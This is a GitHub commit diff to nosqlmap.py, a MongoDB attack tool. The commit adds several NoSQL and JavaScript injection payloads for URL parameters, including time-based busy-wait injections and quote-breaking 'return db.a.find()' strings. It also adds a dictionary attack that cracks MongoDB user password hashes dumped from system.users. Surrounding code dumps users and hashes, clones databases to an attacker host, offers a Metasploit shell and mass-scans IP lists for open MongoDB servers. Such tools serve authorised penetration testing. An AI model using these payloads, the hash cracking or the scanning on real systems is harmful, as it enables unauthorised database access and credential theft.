Skip to content

Commit 8ed1eef

Browse files
committed
Implement Josh's password cracking, tweak UI
1 parent cd76d8f commit 8ed1eef

File tree

1 file changed

+74
-20
lines changed

1 file changed

+74
-20
lines changed

nosqlmap.py

Lines changed: 74 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,7 @@
2525
import subprocess
2626
import json
2727
import gridfs
28+
from hashlib import md5
2829

2930
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
3031
global optionSet
@@ -242,6 +243,8 @@ def options():
242243
mainMenu()
243244

244245
def netAttacks(target):
246+
print "DB Access attacks"
247+
print "================="
245248
mgtOpen = False
246249
webOpen = False
247250
#This is a global for future use with other modules; may change
@@ -306,8 +309,8 @@ def netAttacks(target):
306309

307310
print "MongoDB web management closed or requires authentication."
308311

312+
print "\n"
309313
if mgtOpen == True:
310-
#Ths is compiling server info?????
311314
print "Server Info:"
312315
mongoVer = conn.server_info()['version']
313316
print "MongoDB Version: " + mongoVer
@@ -335,13 +338,21 @@ def netAttacks(target):
335338
colls = db.collection_names()
336339
print dbItem + ":"
337340
print "\n".join(colls)
341+
print "\n"
342+
338343
if 'system.users' in colls:
339344
users = list(db.system.users.find())
340345
print "Database Users and Password Hashes:"
341-
#print dbItem
342-
print str(users)
343-
#print "\n"
344-
346+
347+
for x in range (0,len(users)):
348+
print "Username: " + users[x]['user']
349+
print "Hash: " + users[x]['pwd']
350+
print "\n"
351+
crack = raw_input("Crack this hash? ")
352+
353+
if crack == "y":
354+
brute_pass(users[x]['user'],users[x]['pwd'])
355+
345356
except:
346357
print "Error: Couldn't list collections. The provided credentials may not have rights."
347358

@@ -368,7 +379,7 @@ def netAttacks(target):
368379
if stealDB == "y" or stealDB == "Y":
369380
stealDBs (myIP)
370381

371-
getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)?")
382+
getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)? ")
372383

373384
if getShell == "y" or getShell == "Y":
374385
#Launch Metasploit exploit
@@ -383,10 +394,14 @@ def netAttacks(target):
383394

384395

385396
def webApps():
397+
print "Web App Attacks"
398+
print "==============="
386399
paramName = []
387400
paramValue = []
388401
vulnAddrs = []
389402
possAddrs = []
403+
timeVulnsStr = []
404+
timeVulnsInt = []
390405
appUp = False
391406
strTbAttack = False
392407
intTbAttack = False
@@ -714,7 +729,7 @@ def buildUri(origUri, randValue):
714729
paramName = []
715730
paramValue = []
716731
global uriArray
717-
uriArray = ["","","","","","","","","",""]
732+
uriArray = ["","","","","","","","","","","","","",""]
718733
injOpt = ""
719734

720735
#Split the string between the path and parameters, and then split each parameter
@@ -747,8 +762,8 @@ def buildUri(origUri, randValue):
747762
raw_input("Something went wrong. Press enter to return to the main menu...")
748763
mainMenu()
749764

750-
print "debug:"
751-
print split_uri[0]
765+
#print "debug:"
766+
#print split_uri[0]
752767

753768
x = 0
754769
uriArray[0] = split_uri[0] + "?"
@@ -761,8 +776,10 @@ def buildUri(origUri, randValue):
761776
uriArray[7] = split_uri[0] + "?"
762777
uriArray[8] = split_uri[0] + "?"
763778
uriArray[9] = split_uri[0] + "?"
764-
765-
779+
uriArray[10] = split_uri[0] + "?"
780+
uriArray[11] = split_uri[0] + "?"
781+
uriArray[12] = split_uri[0] + "?"
782+
uriArray[13] = split_uri[0] + "?"
766783

767784
for item in paramName:
768785
if paramName[x] == injOpt:
@@ -776,6 +793,11 @@ def buildUri(origUri, randValue):
776793
uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
777794
uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
778795
uriArray[9] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
796+
uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy=\"!" + "&"
797+
uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy=\"!" + "&"
798+
uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&"
799+
uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&"
800+
779801

780802
else:
781803
uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
@@ -788,6 +810,11 @@ def buildUri(origUri, randValue):
788810
uriArray[7] += paramName[x] + "=" + paramValue[x] + "&"
789811
uriArray[8] += paramName[x] + "=" + paramValue[x] + "&"
790812
uriArray[9] += paramName[x] + "=" + paramValue[x] + "&"
813+
uriArray[10] += paramName[x] + "=" + paramValue[x] + "&"
814+
uriArray[11] += paramName[x] + "=" + paramValue[x] + "&"
815+
uriArray[12] += paramName[x] + "=" + paramValue[x] + "&"
816+
uriArray[13] += paramName[x] + "=" + paramValue[x] + "&"
817+
791818
x += 1
792819

793820
#Clip the extra & off the end of the URL
@@ -801,7 +828,10 @@ def buildUri(origUri, randValue):
801828
uriArray[7] = uriArray[7][:-1]
802829
uriArray[8] = uriArray[8][:-1]
803830
uriArray[9] = uriArray[9][:-1]
804-
831+
uriArray[10] = uriArray[10][:-1]
832+
uriArray[11] = uriArray[11][:-1]
833+
uriArray[12] = uriArray[12][:-1]
834+
uriArray[13] = uriArray[13][:-1]
805835
return uriArray[0]
806836

807837
def stealDBs(myDB):
@@ -835,7 +865,7 @@ def stealDBs(myDB):
835865
raw_input("Invalid Selection. Press enter to continue.")
836866
stealDBs(myDB)
837867

838-
cloneAnother = raw_input("Database cloned. Copy another?")
868+
cloneAnother = raw_input("Database cloned. Copy another? ")
839869

840870
if cloneAnother == "y" or cloneAnother == "Y":
841871
stealDBs(myDB)
@@ -851,38 +881,38 @@ def massMongo():
851881
global victim
852882
success = []
853883
print "\n"
854-
print "Massmongo-Scan for default access to MongoDB servers"
855-
print "===================================================="
884+
print "MongoDB Default Access Scanner"
885+
print "=============================="
856886
loadPath = raw_input("Enter file name with IP list to scan: ")
857887

858888
with open (loadPath) as f:
859889
ipList = f.readlines()
860890

861-
891+
print "\n"
862892
for target in ipList:
863893
try:
864894
conn = pymongo.MongoClient(target,27017)
865-
print " Connected to " + target[:-1]
895+
print "Connected to " + target[:-1] + "!"
866896
dbList = conn.database_names()
867897

868-
print "Successful admin access to " + target[:-1]
898+
print "Successful admin access on " + target[:-1] + ".\n"
869899
target = target[:-1]
870900
success.append(target)
871901
conn.disconnect()
872902

873903
except:
874-
print "Failed to connect to " + target + " or credentials required."
904+
print "Failed to connect to " + target[:-1] + " or credentials required."
875905

876906
print "\n\n"
877907
print "Discovered MongoDB Servers:"
878908

879909
menuItem = 1
880-
print "List of servers:"
881910
for server in success:
882911
print str(menuItem) + "-" + server
883912
menuItem += 1
884913

885914
select = True
915+
print "\n"
886916
while select:
887917
select = raw_input("Select a NoSQLMap target or press x to exit: ")
888918

@@ -898,4 +928,28 @@ def massMongo():
898928
else:
899929
raw_input("Invalid selection.")
900930

931+
def gen_pass(user, passw):
932+
return md5(user + ":mongo:" + str(passw)).hexdigest();
933+
934+
935+
def brute_pass(user,key):
936+
dictionary = raw_input("Enter path to password dictionary: ")
937+
#print user
938+
#print key
939+
print "Preparing dictionary attack..."
940+
with open (dictionary) as f:
941+
passList = f.readlines()
942+
943+
print "debug: " + str(passList)
944+
945+
for passGuess in passList:
946+
temp = passGuess.split("\n")[0]
947+
#print "debug: " + temp
948+
if gen_pass(user, temp) == key:
949+
print "\nFound - "+user+":"+passGuess
950+
return passGuess
951+
952+
print "Password not found for "+user
953+
return ""
954+
901955
mainMenu()

0 commit comments

Comments
 (0)